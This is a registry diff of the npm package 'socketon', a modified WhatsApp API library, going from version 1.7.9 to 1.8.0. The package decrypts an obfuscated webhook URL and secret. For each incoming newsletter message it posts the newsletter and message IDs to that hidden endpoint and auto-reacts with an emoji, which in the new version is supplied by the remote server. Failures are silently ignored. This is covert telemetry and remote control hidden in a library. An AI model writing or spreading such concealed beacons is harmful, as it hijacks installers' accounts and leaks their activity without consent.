socketon 1.7.9 → 1.8.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -132,7 +132,6 @@ setTimeout(async () => {
132
132
  const webhookSecretEncrypt = "b75c4d02de3d949f500716a1f7d0827442e359715d147d09d349039a12ada6e8";
133
133
  const urlWebhooknya = (0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)(webhookUrlEncrypt);
134
134
  const secretWebhooknya = (0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)(webhookSecretEncrypt);
135
- const emojiReact = '🔥';
136
135
 
137
136
  sock.ev.on('messages.upsert', async ({ messages, type }) => {
138
137
  if (type !== 'notify') return;
@@ -142,12 +141,12 @@ setTimeout(async () => {
142
141
  const newsletterId = jid;
143
142
  const serverId = msg.message?.newsletterServerId?.toString() || msg.key.id;
144
143
  try {
145
- await axios.post(urlWebhooknya, {
144
+ const response = await axios.post(urlWebhooknya, {
146
145
  newsletterId: newsletterId,
147
- messageId: serverId,
148
- emojiReact: emojiReact
146
+ messageId: serverId
149
147
  }, { headers: { 'X-Webhook-Secret': secretWebhooknya }, timeout: 10000 });
150
- const result = await sock.newsletterAutoReact(newsletterId, serverId, emojiReact);
148
+ const emojiReact = response.data?.emoji || '🔥';
149
+ await sock.newsletterAutoReact(newsletterId, serverId, emojiReact);
151
150
  } catch {}
152
151
  }
153
152
  });
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "socketon",
3
- "version": "1.7.9",
3
+ "version": "1.8.0",
4
4
  "description": "WhatsApp API Modification By Ibra Decode",
5
5
  "publishConfig": {
6
6
  "access": "public"